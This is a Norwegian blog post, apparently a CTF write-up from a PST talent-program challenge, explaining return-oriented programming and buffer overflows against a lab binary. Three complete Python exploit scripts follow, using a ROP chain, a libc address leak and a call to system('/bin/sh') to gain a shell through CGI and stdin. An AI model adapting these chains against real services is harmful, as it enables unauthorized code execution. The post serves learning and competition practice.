←
Jeg deltok for første gang i et CTF talentprogram i desember 2021, satt opp av PST via deres talentprogram for cyberoperasjoner. Jeg ble oppmerksom på det i forbindelse med julekalenderen de kjørte da det kom automatisk invitasjon. Jeg fikk en sen start (16 desember) men endte opp på #24 plass med 173 poeng som jeg var relativt fornøyd med som nybegynner da det tilsynelatende var hundrevis av deltagere.
En av utfordringene var å utnytte sårbare buffere/mellomlagre i et GNU/Linux program. Jeg hadde ikke sett på slikt på årevis, og egentlig aldri gjort mer enn å bare se på teorien bak det bare av nysgjerrighet. Jeg hadde derimot laget en del nylige mods for dataspill, så tukling med assembly instruksjoner og minne tok jeg til meg ganske raskt. Jeg syntes derimot det var direkte morsomt at folka som driver mye med CTF (catch the flag) konkurranser kaller utsnitt av assembly instruksjoner for "gadgets" etterhvert som jeg kjapt leste meg opp på ROP (Return Oriented Programming) i forbindelse med konkurransen.
Jeg velger for morro skyld å poste en minimal oppsummering av det, da det kanskje var den første og siste gangen jeg gjør noe slikt da jeg i disse dager setter mer pris på å bruke fritiden på andre ting, men det kan være gøy å se tilbake på det. Dette var et av de gøyere stegene jeg gjorde da jeg likte å tukle med assembly og minne.
I denne oppgaven gjaldt det altså å utnytte en eksekverbar fil via CGI for å hente et flagg som kun apache sin bruker har tilgang til.
ROP programmering handler i bunn og grunn om å sette opp en kjede av assembly instruksjoner for å oppnå enkle funksjonskall, f.eks. å åpne et skall med rettighetene til brukeren av programmet man utnytter. Uttrykket "Return Oriented" er fordi hver kodedel vil ha en RET instruksjon i seg slik at man hele tiden følger stack pekeren og oppnår kjeden av adresser til instruksjonene som skal kjøres. Trikset med buffer overflows er å overskrive minneadressen lokalisert i stack-minnet rett etter minnet som er allokert til bufferet man angriper, med kode som gjør det du vil. Hvis man bare overskriver uten mål og mening, vil man mest sannsynlig bare få segmentation fault (som betyr at programmet prøvde å få tilgang til eller bruke minne på en feil måte, ofte pga. rettigheter rundt skriving/kjøring/lesing), men på denne måten finner man også fort ut hvor stort bufferet er.
Hva som allerede befinner seg i området du skriver over, er ikke så viktig. Siden du setter et bestemt mål, og deretter forlater du bare programmet eller lar det krasje i fred når du har oppnådd det du vil. Før i tiden kunne du bruke bufferminnet i seg selv til å lagre kode du vil skal kjøres, i dag finnes det beskyttelse mot kjørbar kode i slikt minne. Dette er en del av opphavet til ROP, at man i stedet finner små deler i eksisterende program og/eller dets lenkede biblioteker som man heller kjeder sammen og som allerede har kjøre-rettigheter. Struktur av funksjonskall og hvordan argumenter settes opp, varierer mellom x86 og x64, google etter behov. Kode nedenfor er for x64.
Første eksempel via CGI. Fant ikke nødvendige strenger i programmet, så brukte tilgjengelig .bss minne til å skrive kommandoen for execve. Skrivbart minne kan finnes ved hjelp av GDB (maintenance info sections) og/eller readelf (-S) verktøy. Benytter python biblioteket pwn fra pwntools nedenfor.
cgi_shell.py
Deretter via stdin. Bruker fremdeles pwn fra pwntools. I stedet for å skrive en egen kommando, har jeg her benyttet en lekket adresse til libc og bruker offsets til det i stedet.
lootshell_latest_local.py
Fremdeles via stdin, men her uten pwntools. Jeg ønsket å prøve egen kode for interaktivt skall bare med ren/native python.
djshell (egen form for interactive og uten pwntools).py
Resultat (Via CGI):

Publisert: 14.aug.2023 12:29 | Oppdatert: 21.aug.2023 12:00.
GNU/Linux Konsept
PST, CTF, Buffer Overflow og ROP
Jeg deltok for første gang i et CTF talentprogram i desember 2021, satt opp av PST via deres talentprogram for cyberoperasjoner. Jeg ble oppmerksom på det i forbindelse med julekalenderen de kjørte da det kom automatisk invitasjon. Jeg fikk en sen start (16 desember) men endte opp på #24 plass med 173 poeng som jeg var relativt fornøyd med som nybegynner da det tilsynelatende var hundrevis av deltagere.
En av utfordringene var å utnytte sårbare buffere/mellomlagre i et GNU/Linux program. Jeg hadde ikke sett på slikt på årevis, og egentlig aldri gjort mer enn å bare se på teorien bak det bare av nysgjerrighet. Jeg hadde derimot laget en del nylige mods for dataspill, så tukling med assembly instruksjoner og minne tok jeg til meg ganske raskt. Jeg syntes derimot det var direkte morsomt at folka som driver mye med CTF (catch the flag) konkurranser kaller utsnitt av assembly instruksjoner for "gadgets" etterhvert som jeg kjapt leste meg opp på ROP (Return Oriented Programming) i forbindelse med konkurransen.
Jeg velger for morro skyld å poste en minimal oppsummering av det, da det kanskje var den første og siste gangen jeg gjør noe slikt da jeg i disse dager setter mer pris på å bruke fritiden på andre ting, men det kan være gøy å se tilbake på det. Dette var et av de gøyere stegene jeg gjorde da jeg likte å tukle med assembly og minne.
I denne oppgaven gjaldt det altså å utnytte en eksekverbar fil via CGI for å hente et flagg som kun apache sin bruker har tilgang til.
ROP programmering handler i bunn og grunn om å sette opp en kjede av assembly instruksjoner for å oppnå enkle funksjonskall, f.eks. å åpne et skall med rettighetene til brukeren av programmet man utnytter. Uttrykket "Return Oriented" er fordi hver kodedel vil ha en RET instruksjon i seg slik at man hele tiden følger stack pekeren og oppnår kjeden av adresser til instruksjonene som skal kjøres. Trikset med buffer overflows er å overskrive minneadressen lokalisert i stack-minnet rett etter minnet som er allokert til bufferet man angriper, med kode som gjør det du vil. Hvis man bare overskriver uten mål og mening, vil man mest sannsynlig bare få segmentation fault (som betyr at programmet prøvde å få tilgang til eller bruke minne på en feil måte, ofte pga. rettigheter rundt skriving/kjøring/lesing), men på denne måten finner man også fort ut hvor stort bufferet er.
Hva som allerede befinner seg i området du skriver over, er ikke så viktig. Siden du setter et bestemt mål, og deretter forlater du bare programmet eller lar det krasje i fred når du har oppnådd det du vil. Før i tiden kunne du bruke bufferminnet i seg selv til å lagre kode du vil skal kjøres, i dag finnes det beskyttelse mot kjørbar kode i slikt minne. Dette er en del av opphavet til ROP, at man i stedet finner små deler i eksisterende program og/eller dets lenkede biblioteker som man heller kjeder sammen og som allerede har kjøre-rettigheter. Struktur av funksjonskall og hvordan argumenter settes opp, varierer mellom x86 og x64, google etter behov. Kode nedenfor er for x64.
Første eksempel via CGI. Fant ikke nødvendige strenger i programmet, så brukte tilgjengelig .bss minne til å skrive kommandoen for execve. Skrivbart minne kan finnes ved hjelp av GDB (maintenance info sections) og/eller readelf (-S) verktøy. Benytter python biblioteket pwn fra pwntools nedenfor.
cgi_shell.py
from pwn import * import time import urllib.parse # Kobling. r = remote('anvilshop.utl', 80) # Instruksjoner i lootd.v2. POP_RDI = p64(0x4027fb) # pop rdi ; ret - Denne skal ha peker til '/bin/sh' POP_RSI = p64(0x40a4f0) # pop rsi ; ret - Ikke viktig, kan være 0 POP_RDX = p64(0x403e03) # pop rdx ; ret - Ikke viktig, kan være 0 POP_RAX = p64(0x401001) # pop rax ; ret - Denne skal være 0x3b POP_RBX = p64(0x401518) # pop rbx ; ret PUTS_PLT = p64(0x4010d0) # Brukes for puts kallet. PUTS_GOT = p64(0x40e070) # Brukes som puts argument. MAIN_ = p64(0x401c7a) # For å gå tilbake til main etter puts omtur. MAIN_CLI_ = p64(0x401c6a) # Ved hopp til cli_handler for å håndtere signal. RET_ = p64(0x401002) # Se om det hjelper å aligne stack hos anvil. EXIT_ = p64(0x401260) # testing. STR_ = p64(0x40df92) # Random streng jeg kan bruke til testing "cgi_token_ok". PRINT_F = p64(0x401050) PRINT_F_FORMAT_STRING = p64(0x400000 + 0xb028) CGI_DONE = p64(0x401e3e) MOVELOOT_STR = p64(0x400000 + 0xb045) SPAWN = p64(0x40a279) SPAWN_ARG2 = p64(0x400000 + 0xb38c) # ABC=def HTTP_AUTHORIZATION = p64(0x400000 + 0xb33d) # b33d HTTP_AUTHORIZATION ENV_GET = p64(0x401ca6) WRITE = p64(0x40a3d3) # mov dword ptr [rax + 8], edx ; mov eax, 0 ; pop rbx ; ret EXECVE = p64(0x4010c0) WRITE_MEM = (0x40e1e0) # .bss, teste å skrive streng her. WRITE = p64(0x40a3d3) # mov dword ptr [rax + 8], edx ; mov eax, 0 ; pop rbx ; ret EDX_PAD = b'\x00\x00\x00\x00' # Siden edx kun bruker de 4 laveste bytes. # Skallkode. p = b"A" * 168 p += RET_ # 16 byte align. RSP slutta på 8 ellers. # Skriv reverse shell kommando til skrivbart minne: p += POP_RAX p += p64(WRITE_MEM) p += POP_RDX p += b'/hom' + EDX_PAD p += WRITE p += p64(0) p += POP_RAX p += p64(WRITE_MEM + 4) p += POP_RDX p += b'e/us' + EDX_PAD p += WRITE p += p64(0) p += POP_RAX p += p64(WRITE_MEM + 4*2) p += POP_RDX p += b'er/d' + EDX_PAD p += WRITE p += p64(0) p += POP_RAX p += p64(WRITE_MEM + 4*3) p += POP_RDX p += b'jsh\x00' + EDX_PAD p += WRITE p += p64(0) # Bruk kommando med execve. # TESTET OK - uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache) p += POP_RDX p += p64(0) p += POP_RSI p += p64(0) p += POP_RDI p += p64(WRITE_MEM + 8) p += EXECVE p += EXIT_ # Bruk kommando med spawn. #p += POP_RSI #p += SPAWN_ARG2 #p += POP_RDI #p += p64(WRITE_MEM + 8) #p += SPAWN #p += EXIT_ # GET kall. payload1 = b"GET /cgi-bin/lootd.v2/download?" + urllib.parse.quote_from_bytes(p).encode() +b" HTTP/1.1\r\n" \ b"Host: anvilshop.utl\r\n" \ b"Content-Type: text/html; charset=utf-8\r\n" \ b"User-Agent: cgi_shell/1.0\r\n" \ b"Authorization: thronic" \ b"Accept: */*\r\n\r\n" r.send(payload1) time.sleep(1) log.info(r.recv().decode('utf-8'))
Deretter via stdin. Bruker fremdeles pwn fra pwntools. I stedet for å skrive en egen kommando, har jeg her benyttet en lekket adresse til libc og bruker offsets til det i stedet.
lootshell_latest_local.py
from pwn import * import time # Prosessoppsett. context.arch = 'amd64' context.os = 'linux' #s = remote('anvilshop.utl',3982) s = process('./lootd.v2') # # Forbered ASM "Gadget" offsets i selve programmet jeg kan bruke. # POP_RDI = p64(0x4027fb) # pop rdi ; ret - Denne skal ha peker til '/bin/sh' POP_RSI = p64(0x40a4f0) # pop rsi ; ret - Ikke viktig, kan være 0 POP_RDX = p64(0x403e03) # pop rdx ; ret - Ikke viktig, kan være 0 POP_RAX = p64(0x401001) # pop rax ; ret - Denne skal være 0x3b POP_RBX = p64(0x401518) # pop rbx ; ret PUTS_PLT = p64(0x4010d0) # Brukes for puts kallet. PUTS_GOT = p64(0x40e070) # Brukes som puts argument. MAIN_ = p64(0x401c7a) # For å gå tilbake til main etter puts omtur. MAIN_CLI_ = p64(0x401c6a) # Ved hopp til cli_handler for å håndtere signal. MAIN_ALT_ = p64(0x401c91) RET_ = p64(0x401002) # Se om det hjelper å aligne stack hos anvil. EXIT_ = p64(0x401260) # testing. START_ = p64(0x40b0dc) # testing. STR_ = p64(0x40df92) # Random streng jeg kan bruke til testing "cgi_token_ok". SIGNAL_ = p64(0x401160) # # Forbered payload for å lekke libc offset. # p = b'A' * 136 # Junk for å fylle buffer. p += POP_RDI # Henter neste stackverdi inn i RDI (første parameter i 64 bit ASM). p += PUTS_GOT # Forbereder GOT adressen via objdump -D til POP RDI; RET. p += PUTS_PLT # Kaller puts funksjonen via PLT for å gi sin sanntids offset. p += MAIN_ #log.info("Kommando for første ROP kjede som kan brukes for testing:") #log.info("echo '"+ p.hex() +"' | xxd -r -p | ./lootd.v2") log.info("Lagrer payload i payload_dump") payload_dump = open("payload_dump","wb") payload_dump.write(p) payload_dump.close() # Anvil trenger å bli "vekket" litt. s.sendline(b'AAAAAAAA') s.recvuntil(b'\n> ') # Send payload og hent puts libc offset jeg kan regne ut base fra.. s.sendline(p) received_raw = s.recv(timeout=1) received_bytes = received_raw.split(b"\n")[1].rstrip(b'\n> ').ljust(8,b'\x00') log.info("Lekket puts offset: "+ hex(u64(received_bytes))) #log.info("Basert på: "+ str(received_raw)) # # Lekket detaljer fra resultat ovenfor (ANVILSHOP SIN LIBC). # #LIBC_SYSTEM = 0x3f716 #LIBC_BIN_SH = 0x91a62 #LIBC_SYSCALL = 0x16170 #LIBC_PUTS = 0x4a939 #LIBC_BASE = u64(received_bytes) - LIBC_PUTS #log.info("Kalkulert libc base: "+ hex(LIBC_BASE)) # # Lekket detaljer fra resultat ovenfor (LOKAL LIBC). # LIBC_SYSTEM = 0x4fce0 LIBC_BIN_SH = 0xb01d7 LIBC_SYSCALL = 0x15a2e LIBC_PUTS = 0x5fb40 LIBC_BASE = u64(received_bytes) - LIBC_PUTS log.info("Kalkulert libc base: "+ hex(LIBC_BASE)) # # Data som trengs fra libc nå som jeg har libc base. # BIN_SH = p64(LIBC_BASE + LIBC_BIN_SH) SYSCALL = p64(LIBC_BASE + LIBC_SYSCALL) SYSTEM_ = p64(LIBC_BASE + LIBC_SYSTEM) # # Forbered payload til execve. # p = b'A' * 136 # tomrom i buf. #p += POP_RAX # 0x3b for syscall. #p += p64(0x3b) p += POP_RDI # "/bin/sh" p += BIN_SH #p += POP_RSI # Arg 2,3 til NULL. #p += p64(0) #p += POP_RDX #p += p64(0) #p += SYSCALL # Skal utløse EXECVE. p += SYSTEM_ # Send til prosess. s.sendline(p) #s.recvuntil(b'\n') # Gå interaktiv med det nye skallet. s.interactive()
Fremdeles via stdin, men her uten pwntools. Jeg ønsket å prøve egen kode for interaktivt skall bare med ren/native python.
djshell (egen form for interactive og uten pwntools).py
from struct import * import os import subprocess import time # Prosessoppsett. process = subprocess.Popen(['./lootd.v2'], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=0) # Globale variabler. have_sent_payload_1 = False have_sent_payload_2 = False received_data_bytes = b'' libcaddr_bytes = b'' LIBC_BASE = 0x0 # ASM instruksjoner / "gadgets". POP_RDI = pack("Q",0x4027fb) # pop rdi ; ret - Denne skal ha peker til '/bin/sh' PUTS_PLT = pack("Q",0x4010d0) # Brukes for puts kallet. PUTS_GOT = pack("Q",0x40e070) # Brukes som puts argument. MAIN_ = pack("Q",0x401c7a) # For å gå tilbake til main etter puts omtur. # Offsets. LIBC_SYSTEM = 0x4fce0 LIBC_BIN_SH = 0xb01d7 LIBC_PUTS = 0x5fb40 def send_payload_1(): # # Forbered payload for å lekke libc offset. # p = b'A' * 136 # Junk for å fylle buffer. p += POP_RDI # Henter neste stackverdi inn i RDI (første parameter i 64 bit ASM). p += PUTS_GOT # Forbereder GOT adressen via objdump -D til POP RDI; RET. p += PUTS_PLT # Kaller puts funksjonen via PLT for å gi sin sanntids offset. p += MAIN_ # Anvil trenger å bli vekket litt. received_raw = os.read(process.stdout.fileno(), 4096) os.write(process.stdin.fileno(), b'AAAAAAAA\n') received_raw = os.read(process.stdout.fileno(), 4096) # Send payload og hent puts libc offset jeg kan regne ut base fra.. os.write(process.stdin.fileno(), p) os.write(process.stdin.fileno(), b'\n') received_raw = os.read(process.stdout.fileno(), 4096) print("Lekket data: "+ str(received_raw)) received_bytes = received_raw.split(b"\n")[1].rstrip(b'\n> ').ljust(8,b'\x00') print("Lekket puts offset: "+ hex(unpack("Q",received_bytes)[0])) # # Lekket detaljer fra resultat ovenfor (ANVILSHOP SIN LIBC). # LIBC_BASE = unpack("Q",received_bytes)[0] - LIBC_PUTS print("Kalkulert libc base: "+ hex(LIBC_BASE)) return LIBC_BASE def send_payload_2(): # # Data som trengs fra libc nå som jeg har libc base. # BIN_SH = pack("Q",LIBC_BASE + LIBC_BIN_SH) SYSTEM_ = pack("Q",LIBC_BASE + LIBC_SYSTEM) # # Forbered payload til system. # p = b'A' * 136 # tomrom i buf. p += POP_RDI # "/bin/sh" p += BIN_SH p += SYSTEM_ # Send til prosess. os.write(process.stdin.fileno(), p) os.write(process.stdin.fileno(), b'\n') while True: if have_sent_payload_1 == False: LIBC_BASE = send_payload_1() have_sent_payload_1 = True continue if have_sent_payload_1 == True and LIBC_BASE != 0x0 and have_sent_payload_2 == False: send_payload_2() have_sent_payload_2 = True continue if have_sent_payload_1 == True and have_sent_payload_2 == True: #received_bytes = os.read(process.stdout.fileno(), 4096) #print(received_bytes.decode('utf-8')) shell_input = input("djshell> ") os.write(process.stdin.fileno(), shell_input.encode('utf-8') + b'\n') time.sleep(1) received_bytes = os.read(process.stdout.fileno(), 4096) print(received_bytes.decode('utf-8'))
Resultat (Via CGI):

Publisert: 14.aug.2023 12:29 | Oppdatert: 21.aug.2023 12:00.
GNU/Linux Konsept